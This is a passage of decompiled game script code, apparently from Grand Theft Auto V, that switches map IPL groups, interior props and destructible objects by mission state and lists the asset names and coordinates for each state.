func_8(&Var3, iParam0);
if (func_5())
{
iVar1 = Global_106565.f_7255.f_227[iParam0];
}
else
{
iVar1 = Global_2437364.f_75.f_227[iParam0];
}
iVar2 = Global_33790[iParam0];
if (PED::IS_PED_INJURED(PLAYER::PLAYER_PED_ID()) && !bParam3)
{
Global_1647687 = 1;
}
else
{
bVar99 = true;
if (GAMEPLAY::GET_HASH_KEY(SCRIPT::GET_THIS_SCRIPT_NAME()) != GAMEPLAY::GET_HASH_KEY("standard_global_reg"))
{
if (iParam2 == 0)
{
if (Global_33392[iParam0] && GAMEPLAY::GET_DISTANCE_BETWEEN_COORDS(ENTITY::GET_ENTITY_COORDS(PLAYER::PLAYER_PED_ID(), 0), Var3, 1) < 200f)
{
bVar99 = false;
Global_1647687 = 1;
}
if (!PLAYER::IS_PLAYER_PLAYING(PLAYER::PLAYER_ID()) || AI::IS_PED_BEING_ARRESTED(PLAYER::PLAYER_PED_ID()))
{
if (!CAM::IS_SCREEN_FADED_OUT())
{
bVar99 = false;
Global_1647687 = 1;
}
}
}
}
if (STREAMING::IS_NEW_LOAD_SCENE_ACTIVE() && (!STREAMING::IS_PLAYER_SWITCH_IN_PROGRESS() || STREAMING::GET_PLAYER_SWITCH_STATE() != 5))
{
bVar99 = false;
Global_1647687 = 1;
}
if (bVar99)
{
switch (Var3.f_3)
{
case 0:
if (iVar1 == 2)
{
}
else
{
if (Var3.f_4[iVar1] != 0)
{
ENTITY::REMOVE_MODEL_HIDE(Var3, 10f, Var3.f_4[iVar1], 0);
}
if (Var3.f_4[iVar2] != 0)
{
ENTITY::CREATE_MODEL_HIDE(Var3, 10f, Var3.f_4[iVar2], 1);
}
Global_34986[iParam0] = 1;
}
bVar0 = true;
break;
case 1:
if (iVar1 == 0)
{
if (GAMEPLAY::GET_HASH_KEY(&(Var3.f_8[1 /*8*/])) != GAMEPLAY::GET_HASH_KEY("") && GAMEPLAY::GET_HASH_KEY(&(Var3.f_8[1 /*8*/])) != GAMEPLAY::GET_HASH_KEY(&(Var3.f_8[iVar1 /*8*/])))
{
if (STREAMING::IS_IPL_ACTIVE(&(Var3.f_8[1 /*8*/])))
{
STREAMING::REMOVE_IPL(&(Var3.f_8[1 /*8*/]));
Global_1647687 = 1;
}
}
if ((GAMEPLAY::GET_HASH_KEY(&(Var3.f_8[2 /*8*/])) != GAMEPLAY::GET_HASH_KEY("") && GAMEPLAY::GET_HASH_KEY(&(Var3.f_8[2 /*8*/])) != GAMEPLAY::GET_HASH_KEY("REMOVE_ALL_STATES")) && GAMEPLAY::GET_HASH_KEY(&(Var3.f_8[2 /*8*/])) != GAMEPLAY::GET_HASH_KEY(&(Var3.f_8[iVar1 /*8*/])))
{
if (STREAMING::IS_IPL_ACTIVE(&(Var3.f_8[2 /*8*/])))
{
STREAMING::REMOVE_IPL(&(Var3.f_8[2 /*8*/]));
Global_1647687 = 1;
}
}
if (GAMEPLAY::GET_HASH_KEY(&(Var3.f_8[0 /*8*/])) != GAMEPLAY::GET_HASH_KEY(""))
{
if (!STREAMING::IS_IPL_ACTIVE(&(Var3.f_8[0 /*8*/])))
{
STREAMING::REQUEST_IPL(&(Var3.f_8[0 /*8*/]));
Global_1647687 = 1;
}
}
if (GAMEPLAY::GET_HASH_KEY(&(Var3.f_34)) != GAMEPLAY::GET_HASH_KEY(""))
{
if (!STREAMING::IS_IPL_ACTIVE(&(Var3.f_34)))
{
STREAMING::REQUEST_IPL(&(Var3.f_34));
Global_1647687 = 1;
}
}
}
else if (iVar1 == 1)
{
if (GAMEPLAY::GET_HASH_KEY(&(Var3.f_34)) != GAMEPLAY::GET_HASH_KEY(""))
{
if (STREAMING::IS_IPL_ACTIVE(&(Var3.f_34)))
{
STREAMING::REMOVE_IPL(&(Var3.f_34));
}
}
if (GAMEPLAY::GET_HASH_KEY(&(Var3.f_8[0 /*8*/])) != GAMEPLAY::GET_HASH_KEY("") && GAMEPLAY::GET_HASH_KEY(&(Var3.f_8[0 /*8*/])) != GAMEPLAY::GET_HASH_KEY(&(Var3.f_8[iVar1 /*8*/])))
{
if (STREAMING::IS_IPL_ACTIVE(&(Var3.f_8[0 /*8*/])))
{
STREAMING::REMOVE_IPL(&(Var3.f_8[0 /*8*/]));
}
}
if ((GAMEPLAY::GET_HASH_KEY(&(Var3.f_8[2 /*8*/])) != GAMEPLAY::GET_HASH_KEY("") && GAMEPLAY::GET_HASH_KEY(&(Var3.f_8[2 /*8*/])) != GAMEPLAY::GET_HASH_KEY("REMOVE_ALL_STATES")) && GAMEPLAY::GET_HASH_KEY(&(Var3.f_8[2 /*8*/])) != GAMEPLAY::GET_HASH_KEY(&(Var3.f_8[iVar1 /*8*/])))
{
if (STREAMING::IS_IPL_ACTIVE(&(Var3.f_8[2 /*8*/])))
{
STREAMING::REMOVE_IPL(&(Var3.f_8[2 /*8*/]));
}
}
if (GAMEPLAY::GET_HASH_KEY(&(Var3.f_8[1 /*8*/])) != GAMEPLAY::GET_HASH_KEY(""))
{
if (!STREAMING::IS_IPL_ACTIVE(&(Var3.f_8[1 /*8*/])))
{
STREAMING::REQUEST_IPL(&(Var3.f_8[1 /*8*/]));
}
}
}
else if (iVar1 == 2)
{
if (GAMEPLAY::GET_HASH_KEY(&(Var3.f_34)) != GAMEPLAY::GET_HASH_KEY(""))
{
if (STREAMING::IS_IPL_ACTIVE(&(Var3.f_34)))
{
STREAMING::REMOVE_IPL(&(Var3.f_34));
}
}
if (GAMEPLAY::GET_HASH_KEY(&(Var3.f_8[0 /*8*/])) != GAMEPLAY::GET_HASH_KEY("") && GAMEPLAY::GET_HASH_KEY(&(Var3.f_8[0 /*8*/])) != GAMEPLAY::GET_HASH_KEY(&(Var3.f_8[iVar1 /*8*/])))
{
if (STREAMING::IS_IPL_ACTIVE(&(Var3.f_8[0 /*8*/])))
{
STREAMING::REMOVE_IPL(&(Var3.f_8[0 /*8*/]));
}
}
if (GAMEPLAY::GET_HASH_KEY(&(Var3.f_8[1 /*8*/])) != GAMEPLAY::GET_HASH_KEY("") && GAMEPLAY::GET_HASH_KEY(&(Var3.f_8[1 /*8*/])) != GAMEPLAY::GET_HASH_KEY(&(Var3.f_8[iVar1 /*8*/])))
{
if (STREAMING::IS_IPL_ACTIVE(&(Var3.f_8[1 /*8*/])))
{
STREAMING::REMOVE_IPL(&(Var3.f_8[1 /*8*/]));
}
}
if (GAMEPLAY::GET_HASH_KEY(&(Var3.f_8[2 /*8*/])) != GAMEPLAY::GET_HASH_KEY("") && GAMEPLAY::GET_HASH_KEY(&(Var3.f_8[2 /*8*/])) != GAMEPLAY::GET_HASH_KEY("REMOVE_ALL_STATES"))
{
if (!STREAMING::IS_IPL_ACTIVE(&(Var3.f_8[2 /*8*/])))
{
STREAMING::REQUEST_IPL(&(Var3.f_8[2 /*8*/]));
}
}
}
Global_34787[iParam0] = 1;
Global_34986[iParam0] = 1;
bVar0 = true;
break;
case 2:
iVar100 = INTERIOR::GET_INTERIOR_AT_COORDS_WITH_TYPE(Var3, &(Var3.f_42));
if (iVar100 != 0)
{
if (GAMEPLAY::GET_HASH_KEY(&(Var3.f_50)) != GAMEPLAY::GET_HASH_KEY(""))
{
if (INTERIOR::_IS_INTERIOR_PROP_ENABLED(iVar100, &(Var3.f_50)))
{
INTERIOR::_DISABLE_INTERIOR_PROP(iVar100, &(Var3.f_50));
}
}
if (iVar1 == 0)
{
if (GAMEPLAY::GET_HASH_KEY(&(Var3.f_8[1 /*8*/])) != GAMEPLAY::GET_HASH_KEY(""))
{
if (INTERIOR::_IS_INTERIOR_PROP_ENABLED(iVar100, &(Var3.f_8[1 /*8*/])))
{
INTERIOR::_DISABLE_INTERIOR_PROP(iVar100, &(Var3.f_8[1 /*8*/]));
}
}
if ((GAMEPLAY::GET_HASH_KEY(&(Var3.f_8[2 /*8*/])) != GAMEPLAY::GET_HASH_KEY("") && GAMEPLAY::GET_HASH_KEY(&(Var3.f_8[2 /*8*/])) != GAMEPLAY::GET_HASH_KEY("REMOVE_ALL_STATES")) && GAMEPLAY::GET_HASH_KEY(&(Var3.f_8[2 /*8*/])) != GAMEPLAY::GET_HASH_KEY(&(Var3.f_8[iVar1 /*8*/])))
{
if (INTERIOR::_IS_INTERIOR_PROP_ENABLED(iVar100, &(Var3.f_8[2 /*8*/])))
{
INTERIOR::_DISABLE_INTERIOR_PROP(iVar100, &(Var3.f_8[2 /*8*/]));
}
}
if (GAMEPLAY::GET_HASH_KEY(&(Var3.f_8[0 /*8*/])) != GAMEPLAY::GET_HASH_KEY(""))
{
if (!INTERIOR::_IS_INTERIOR_PROP_ENABLED(iVar100, &(Var3.f_8[0 /*8*/])))
{
INTERIOR::_ENABLE_INTERIOR_PROP(iVar100, &(Var3.f_8[0 /*8*/]));
}
}
}
else if (iVar1 == 1)
{
if (GAMEPLAY::GET_HASH_KEY(&(Var3.f_8[0 /*8*/])) != GAMEPLAY::GET_HASH_KEY(""))
{
if (INTERIOR::_IS_INTERIOR_PROP_ENABLED(iVar100, &(Var3.f_8[0 /*8*/])))
{
INTERIOR::_DISABLE_INTERIOR_PROP(iVar100, &(Var3.f_8[0 /*8*/]));
}
}
if ((GAMEPLAY::GET_HASH_KEY(&(Var3.f_8[2 /*8*/])) != GAMEPLAY::GET_HASH_KEY("") && GAMEPLAY::GET_HASH_KEY(&(Var3.f_8[2 /*8*/])) != GAMEPLAY::GET_HASH_KEY("REMOVE_ALL_STATES")) && GAMEPLAY::GET_HASH_KEY(&(Var3.f_8[2 /*8*/])) != GAMEPLAY::GET_HASH_KEY(&(Var3.f_8[iVar1 /*8*/])))
{
if (INTERIOR::_IS_INTERIOR_PROP_ENABLED(iVar100, &(Var3.f_8[2 /*8*/])))
{
INTERIOR::_DISABLE_INTERIOR_PROP(iVar100, &(Var3.f_8[2 /*8*/]));
}
}
if (GAMEPLAY::GET_HASH_KEY(&(Var3.f_8[1 /*8*/])) != GAMEPLAY::GET_HASH_KEY(""))
{
if (!INTERIOR::_IS_INTERIOR_PROP_ENABLED(iVar100, &(Var3.f_8[1 /*8*/])))
{
INTERIOR::_ENABLE_INTERIOR_PROP(iVar100, &(Var3.f_8[1 /*8*/]));
}
}
}
else if (iVar1 == 2)
{
if (GAMEPLAY::GET_HASH_KEY(&(Var3.f_8[0 /*8*/])) != GAMEPLAY::GET_HASH_KEY(""))
{
if (INTERIOR::_IS_INTERIOR_PROP_ENABLED(iVar100, &(Var3.f_8[0 /*8*/])))
{
INTERIOR::_DISABLE_INTERIOR_PROP(iVar100, &(Var3.f_8[0 /*8*/]));
}
}
if (GAMEPLAY::GET_HASH_KEY(&(Var3.f_8[1 /*8*/])) != GAMEPLAY::GET_HASH_KEY(""))
{
if (INTERIOR::_IS_INTERIOR_PROP_ENABLED(iVar100, &(Var3.f_8[1 /*8*/])))
{
INTERIOR::_DISABLE_INTERIOR_PROP(iVar100, &(Var3.f_8[1 /*8*/]));
}
}
if (GAMEPLAY::GET_HASH_KEY(&(Var3.f_8[2 /*8*/])) != GAMEPLAY::GET_HASH_KEY("") && GAMEPLAY::GET_HASH_KEY(&(Var3.f_8[2 /*8*/])) != GAMEPLAY::GET_HASH_KEY("REMOVE_ALL_STATES"))
{
if (!INTERIOR::_IS_INTERIOR_PROP_ENABLED(iVar100, &(Var3.f_8[2 /*8*/])))
{
INTERIOR::_ENABLE_INTERIOR_PROP(iVar100, &(Var3.f_8[2 /*8*/]));
}
}
}
if (bParam1)
{
INTERIOR::REFRESH_INTERIOR(iVar100);
}
}
Global_34986[iParam0] = 1;
Global_34787[iParam0] = 1;
bVar0 = true;
break;
case 3:
if (GAMEPLAY::GET_DISTANCE_BETWEEN_COORDS(Var3, ENTITY::GET_ENTITY_COORDS(PLAYER::PLAYER_PED_ID(), 0), 1) < 250f)
{
uVar98 = OBJECT::_GET_DES_OBJECT(Var3, 25f, &(Var3.f_8[0 /*8*/]));
if (OBJECT::_DOES_DES_OBJECT_EXIST(uVar98))
{
if (iVar1 == 0)
{
OBJECT::_SET_DES_OBJECT_STATE(uVar98, 3);
Global_34986[iParam0] = 1;
bVar0 = true;
}
else if (iVar1 == 1)
{
if ((OBJECT::_GET_DES_OBJECT_STATE(uVar98) != 6 && OBJECT::_GET_DES_OBJECT_STATE(uVar98) != 7) && OBJECT::_GET_DES_OBJECT_STATE(uVar98) != 8)
{
OBJECT::_SET_DES_OBJECT_STATE(uVar98, 10);
Global_34986[iParam0] = 1;
bVar0 = true;
}
}
else if (iVar1 == 2)
{
bVar0 = true;
}
}
}
break;
case 4:
if (iVar1 == 0)
{
ENTITY::REMOVE_MODEL_SWAP(Var3, 50f, Var3.f_4[1], Var3.f_4[0], 0);
GAMEPLAY::CLEAR_BIT(&(Global_33138[(iParam0 / 32)]), (iParam0 % 32));
}
else if (iVar1 == 1)
{
ENTITY::CREATE_MODEL_SWAP(Var3, 50f, Var3.f_4[0], Var3.f_4[1], 1);
GAMEPLAY::SET_BIT(&(Global_33138[(iParam0 / 32)]), (iParam0 % 32));
}
bVar0 = true;
break;
}
if (bVar0)
{
Global_33591[iParam0] = 0;
Global_33790[iParam0] = iVar1;
if (!func_5())
{
if (!Global_34387[iParam0])
{
Global_34387[iParam0] = 1;
Global_34586++;
}
}
}
}
}
return bVar0;
}
int func_5()
{
if ((func_7() == -1 || func_7() == 999) && !func_6() == 0)
{
return 1;
}
return 0;
}
int func_6()
{
return Global_25766;
}
int func_7()
{
return Global_25765;
}
int func_8(var uParam0, int iParam1)
{
int iVar0;
iVar0 = 0;
while (iVar0 < 3)
{
uParam0->f_4[iVar0] = 0;
StringCopy(&(uParam0->f_8[iVar0 /*8*/]), "", 32);
uParam0->f_64[iVar0] = 0;
uParam0->f_75[iVar0] = 0;
uParam0->f_91[iVar0] = 0;
iVar0++;
}
*uParam0 = { 0f, 0f, 0f };
uParam0->f_3 = 0;
uParam0->f_33 = 0;
StringCopy(&(uParam0->f_34), "", 32);
StringCopy(&(uParam0->f_42), "", 32);
StringCopy(&(uParam0->f_50), "", 32);
uParam0->f_58 = { 0f, 0f, 0f };
uParam0->f_61 = { 0f, 0f, 0f };
uParam0->f_68 = { 0f, 0f, 0f };
uParam0->f_71 = { 0f, 0f, 0f };
uParam0->f_74 = 0f;
uParam0->f_79 = { 0f, 0f, 0f };
uParam0->f_82 = { 0f, 0f, 0f };
uParam0->f_85 = { 0f, 0f, 0f };
uParam0->f_88 = { 0f, 0f, 0f };
switch (iParam1)
{
case 3:
uParam0->f_3 = 1;
StringCopy(&(uParam0->f_8[0 /*8*/]), "TRV1_Trail_start", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "TRV1_Trail_end", 32);
StringCopy(&(uParam0->f_8[2 /*8*/]), "TRV1_Trail_Finish", 32);
uParam0->f_33 = 1;
*uParam0 = { -24.685f, 3032.92f, 40.331f };
break;
case 4:
uParam0->f_3 = 1;
StringCopy(&(uParam0->f_8[0 /*8*/]), "CS3_05_water_grp1", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "CS3_05_water_grp2", 32);
*uParam0 = { -24.685f, 3032.92f, 40.331f };
break;
case 0:
uParam0->f_3 = 1;
StringCopy(&(uParam0->f_8[0 /*8*/]), "gasstation_ipl_group1", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "gasstation_ipl_group2", 32);
*uParam0 = { -93.4f, 6410.9f, 36.8f };
break;
case 1:
uParam0->f_3 = 1;
StringCopy(&(uParam0->f_8[0 /*8*/]), "DES_Smash2_startimap", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "DES_Smash2_endimap", 32);
*uParam0 = { 890.3647f, -2367.289f, 28.10582f };
break;
case 2:
uParam0->f_3 = 1;
StringCopy(&(uParam0->f_8[0 /*8*/]), "DES_StiltHouse_imapstart", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "DES_StiltHouse_imapend", 32);
StringCopy(&(uParam0->f_8[2 /*8*/]), "des_stilthouse_rebuild", 32);
uParam0->f_33 = 0;
*uParam0 = { -1020.5f, 663.41f, 154.75f };
uParam0->f_58 = { -1018.913f, 603.2904f, 105.6611f };
uParam0->f_61 = { -1038.913f, 639.2904f, 135.6611f };
uParam0->f_64[0] = 1;
uParam0->f_64[1] = 0;
break;
case 5:
uParam0->f_3 = 1;
StringCopy(&(uParam0->f_8[0 /*8*/]), "bnkheist_apt_norm", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "bnkheist_apt_dest", 32);
break;
case 196:
uParam0->f_3 = 1;
StringCopy(&(uParam0->f_8[0 /*8*/]), "", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "bnkheist_apt_dest_vfx", 32);
StringCopy(&(uParam0->f_8[2 /*8*/]), "REMOVE_ALL_STATES", 32);
uParam0->f_33 = 1;
break;
case 6:
uParam0->f_3 = 1;
StringCopy(&(uParam0->f_8[0 /*8*/]), "", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "crashed_cargoplane", 32);
break;
case 7:
uParam0->f_3 = 1;
StringCopy(&(uParam0->f_8[0 /*8*/]), "", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "prop_jb700_covered", 32);
*uParam0 = { 490.8999f, -1334.068f, 28.3298f };
break;
case 8:
uParam0->f_3 = 1;
StringCopy(&(uParam0->f_8[0 /*8*/]), "", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "prop_entityXF_covered", 32);
*uParam0 = { 490.8999f, -1334.068f, 28.3298f };
break;
case 9:
uParam0->f_3 = 1;
StringCopy(&(uParam0->f_8[0 /*8*/]), "", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "prop_cheetah_covered", 32);
*uParam0 = { 490.8999f, -1334.068f, 28.3298f };
break;
case 10:
uParam0->f_3 = 1;
StringCopy(&(uParam0->f_8[0 /*8*/]), "", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "prop_ztype_covered", 32);
*uParam0 = { 490.8999f, -1334.068f, 28.3298f };
break;
case 11:
uParam0->f_3 = 1;
StringCopy(&(uParam0->f_8[0 /*8*/]), "", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "BH1_48_Killed_Michael", 32);
break;
case 12:
uParam0->f_3 = 1;
StringCopy(&(uParam0->f_8[0 /*8*/]), "cargoship", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "sunkcargoship", 32);
uParam0->f_68 = { -162.8918f, -2365.769f, 0f };
uParam0->f_71 = { 190.75f, 31.25f, 21f };
uParam0->f_74 = 0f;
uParam0->f_75[0] = 0;
uParam0->f_75[1] = 1;
break;
case 13:
uParam0->f_3 = 1;
StringCopy(&(uParam0->f_8[0 /*8*/]), "ship_occ_grp1", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "ship_occ_grp2", 32);
break;
case 14:
uParam0->f_3 = 1;
StringCopy(&(uParam0->f_8[0 /*8*/]), "smboat", 32);
break;
case 15:
uParam0->f_3 = 1;
StringCopy(&(uParam0->f_8[0 /*8*/]), "", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "gasparticle_grp2", 32);
*uParam0 = { -95.2f, 6411.3f, 31.5f };
break;
case 16:
uParam0->f_3 = 1;
StringCopy(&(uParam0->f_8[0 /*8*/]), "CS1_02_cf_offmission", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "CS1_02_cf_onmission1", 32);
*uParam0 = { -146.3837f, 6161.5f, 30.2062f };
break;
case 17:
uParam0->f_3 = 1;
StringCopy(&(uParam0->f_8[0 /*8*/]), "", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "CS1_02_cf_onmission2", 32);
*uParam0 = { -146.3837f, 6161.5f, 30.2062f };
break;
case 18:
uParam0->f_3 = 1;
StringCopy(&(uParam0->f_8[0 /*8*/]), "", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "CS1_02_cf_onmission3", 32);
*uParam0 = { -146.3837f, 6161.5f, 30.2062f };
break;
case 19:
uParam0->f_3 = 1;
StringCopy(&(uParam0->f_8[0 /*8*/]), "", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "CS1_02_cf_onmission4", 32);
*uParam0 = { -146.3837f, 6161.5f, 30.2062f };
break;
case 20:
uParam0->f_3 = 1;
StringCopy(&(uParam0->f_8[0 /*8*/]), "jetstealtunnel", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "", 32);
*uParam0 = { 801.7f, -1810.8f, 23.3f };
break;
case 21:
uParam0->f_3 = 1;
StringCopy(&(uParam0->f_8[0 /*8*/]), "Jetsteal_ipl_grp1", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "Jetsteal_ipl_grp2", 32);
StringCopy(&(uParam0->f_8[2 /*8*/]), "REMOVE_ALL_STATES", 32);
uParam0->f_33 = 1;
*uParam0 = { 787.3967f, -1808.858f, 29.8532f };
uParam0->f_58 = { 814f, -1750f, 20f };
uParam0->f_61 = { 790f, -1899f, 35f };
uParam0->f_64[0] = 1;
uParam0->f_64[1] = 0;
uParam0->f_64[2] = 0;
break;
case 22:
uParam0->f_3 = 1;
StringCopy(&(uParam0->f_8[0 /*8*/]), "BH1_47_JoshHse_UnBurnt", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "BH1_47_JoshHse_Burnt", 32);
break;
case 23:
uParam0->f_3 = 1;
StringCopy(&(uParam0->f_8[0 /*8*/]), "", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "bh1_47_joshhse_firevfx", 32);
break;
case 24:
uParam0->f_3 = 1;
StringCopy(&(uParam0->f_8[0 /*8*/]), "SC1_30_Keep_Closed", 32);
break;
case 25:
uParam0->f_3 = 1;
StringCopy(&(uParam0->f_8[0 /*8*/]), "triathlon2_VBprops", 32);
break;
case 26:
uParam0->f_3 = 1;
StringCopy(&(uParam0->f_8[0 /*8*/]), "", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "DT1_05_REQUEST", 32);
*uParam0 = { 163.4f, -745.7f, 251f };
break;
case 27:
uParam0->f_3 = 1;
StringCopy(&(uParam0->f_8[0 /*8*/]), "FBI_colPLUG", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "", 32);
*uParam0 = { 74.29f, -736.05f, 46.76f };
break;
case 28:
uParam0->f_3 = 1;
StringCopy(&(uParam0->f_8[0 /*8*/]), "", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "FBI_repair", 32);
*uParam0 = { 74.29f, -736.05f, 46.76f };
break;
case 29:
uParam0->f_3 = 4;
uParam0->f_4[0] = joaat("dt1_05_build1_h");
uParam0->f_4[1] = joaat("dt1_05_build1_damage");
*uParam0 = { 136.004f, -749.287f, 153.302f };
break;
case 30:
uParam0->f_3 = 4;
uParam0->f_4[0] = -112041596;
uParam0->f_4[1] = joaat("dt1_05_build1_damage_lod");
*uParam0 = { 136.004f, -749.287f, 153.302f };
break;
case 31:
uParam0->f_3 = 4;
uParam0->f_4[0] = -186270611;
uParam0->f_4[1] = joaat("dt1_05_damage_slod");
*uParam0 = { 178.534f, -668.835f, 37.2113f };
break;
case 32:
uParam0->f_3 = 1;
StringCopy(&(uParam0->f_8[0 /*8*/]), "FIB_heist_lights", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "", 32);
*uParam0 = { 136.004f, -749.287f, 153.302f };
break;
case 33:
uParam0->f_3 = 1;
StringCopy(&(uParam0->f_8[0 /*8*/]), "", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "FIB_heist_dmg", 32);
*uParam0 = { 136.004f, -749.287f, 153.302f };
break;
case 34:
uParam0->f_3 = 1;
StringCopy(&(uParam0->f_8[0 /*8*/]), "", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "DT1_05_rubble", 32);
*uParam0 = { 74.29f, -736.05f, 46.76f };
break;
case 35:
uParam0->f_3 = 1;
StringCopy(&(uParam0->f_8[0 /*8*/]), "FIBlobbyfake", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "FIBlobby", 32);
*uParam0 = { 105.4557f, -745.4835f, 44.7548f };
break;
case 36:
uParam0->f_3 = 1;
StringCopy(&(uParam0->f_8[0 /*8*/]), "DT1_05_HC_REMOVE", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "DT1_05_HC_REQ", 32);
*uParam0 = { 169f, -670.3f, 41.9f };
break;
case 37:
uParam0->f_3 = 1;
*uParam0 = { 50.2f, 3743.9f, 40.9f };
uParam0->f_79 = { 16.9757f, 3614.307f, 30.0677f };
uParam0->f_82 = { 145.2451f, 3748.912f, 49.6958f };
uParam0->f_85 = { 16.9757f, 3614.307f, 30.0677f };
uParam0->f_88 = { 145.2451f, 3748.912f, 49.6958f };
uParam0->f_91[0] = 0;
uParam0->f_91[1] = 1;
break;
case 38:
uParam0->f_3 = 1;
StringCopy(&(uParam0->f_8[0 /*8*/]), "trailerparkA_grp1", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "trailerparkA_grp2", 32);
*uParam0 = { 50.2f, 3743.9f, 40.9f };
break;
case 39:
uParam0->f_3 = 1;
StringCopy(&(uParam0->f_8[0 /*8*/]), "occl_trailerA_grp1", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "", 32);
*uParam0 = { 50.2f, 3743.9f, 40.9f };
break;
case 40:
uParam0->f_3 = 1;
StringCopy(&(uParam0->f_8[0 /*8*/]), "trailerparkB_grp1", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "trailerparkB_grp2", 32);
*uParam0 = { 106.7f, 3732.1f, 40.8f };
break;
case 41:
uParam0->f_3 = 1;
StringCopy(&(uParam0->f_8[0 /*8*/]), "occl_trailerB_grp1", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "", 32);
*uParam0 = { 106.7f, 3732.1f, 40.8f };
break;
case 42:
uParam0->f_3 = 1;
StringCopy(&(uParam0->f_8[0 /*8*/]), "trailerparkC_grp1", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "trailerparkC_grp2", 32);
*uParam0 = { 72.7f, 3695.4f, 42f };
break;
case 43:
uParam0->f_3 = 1;
StringCopy(&(uParam0->f_8[0 /*8*/]), "occl_trailerC_grp1", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "", 32);
*uParam0 = { 72.7f, 3695.4f, 42f };
break;
case 44:
uParam0->f_3 = 1;
StringCopy(&(uParam0->f_8[0 /*8*/]), "trailerparkD_grp1", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "trailerparkD_grp2", 32);
*uParam0 = { 43.8f, 3699.7f, 41.3f };
break;
case 45:
uParam0->f_3 = 1;
StringCopy(&(uParam0->f_8[0 /*8*/]), "occl_trailerD_grp1", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "", 32);
*uParam0 = { 43.8f, 3699.7f, 41.3f };
break;
case 46:
uParam0->f_3 = 1;
StringCopy(&(uParam0->f_8[0 /*8*/]), "trailerparkE_grp1", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "trailerparkE_grp2", 32);
*uParam0 = { 28.5f, 3668f, 40.4f };
break;
case 47:
uParam0->f_3 = 1;
StringCopy(&(uParam0->f_8[0 /*8*/]), "occl_trailerE_grp1", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "", 32);
*uParam0 = { 28.5f, 3668f, 40.4f };
break;
case 48:
uParam0->f_3 = 1;
StringCopy(&(uParam0->f_34), "des_methtrailer", 32);
StringCopy(&(uParam0->f_8[0 /*8*/]), "methtrailer_grp1", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "methtrailer_grp2", 32);
StringCopy(&(uParam0->f_8[2 /*8*/]), "methtrailer_grp3", 32);
uParam0->f_33 = 1;
*uParam0 = { 29.4838f, 3735.593f, 38.688f };
uParam0->f_68 = { 31.134f, 3738.783f, 39.062f };
uParam0->f_71 = { 13.6f, 20f, 8.9f };
uParam0->f_74 = 48f;
uParam0->f_75[0] = 0;
uParam0->f_75[1] = 1;
uParam0->f_75[2] = 1;
break;
case 49:
uParam0->f_3 = 1;
StringCopy(&(uParam0->f_8[0 /*8*/]), "occl_meth_grp1", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "", 32);
*uParam0 = { 29.4838f, 3735.593f, 38.688f };
break;
case 50:
uParam0->f_3 = 1;
StringCopy(&(uParam0->f_8[0 /*8*/]), "des_farmhs_startimap", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "des_farmhs_endimap", 32);
StringCopy(&(uParam0->f_8[2 /*8*/]), "REMOVE_ALL_STATES", 32);
uParam0->f_33 = 1;
*uParam0 = { 2450.595f, 4959.929f, 44.2575f };
uParam0->f_79 = { 2383.756f, 4929.988f, 39.52461f };
uParam0->f_82 = { 2505.756f, 5023.988f, 67.52461f };
break;
case 55:
uParam0->f_3 = 1;
StringCopy(&(uParam0->f_8[0 /*8*/]), "des_farmhs_start_occl", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "des_farmhs_end_occl", 32);
StringCopy(&(uParam0->f_8[2 /*8*/]), "", 32);
*uParam0 = { 2450.595f, 4959.929f, 44.2575f };
break;
case 51:
uParam0->f_3 = 1;
StringCopy(&(uParam0->f_8[0 /*8*/]), "farm", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "farm", 32);
StringCopy(&(uParam0->f_8[2 /*8*/]), "farm_burnt", 32);
uParam0->f_33 = 1;
*uParam0 = { 2444.8f, 4976.4f, 50.5f };
break;
case 52:
uParam0->f_3 = 1;
StringCopy(&(uParam0->f_8[0 /*8*/]), "farm_props", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "", 32);
StringCopy(&(uParam0->f_8[2 /*8*/]), "farm_burnt_props", 32);
uParam0->f_33 = 1;
*uParam0 = { 2447.9f, 4973.4f, 47.7f };
break;
case 53:
uParam0->f_3 = 1;
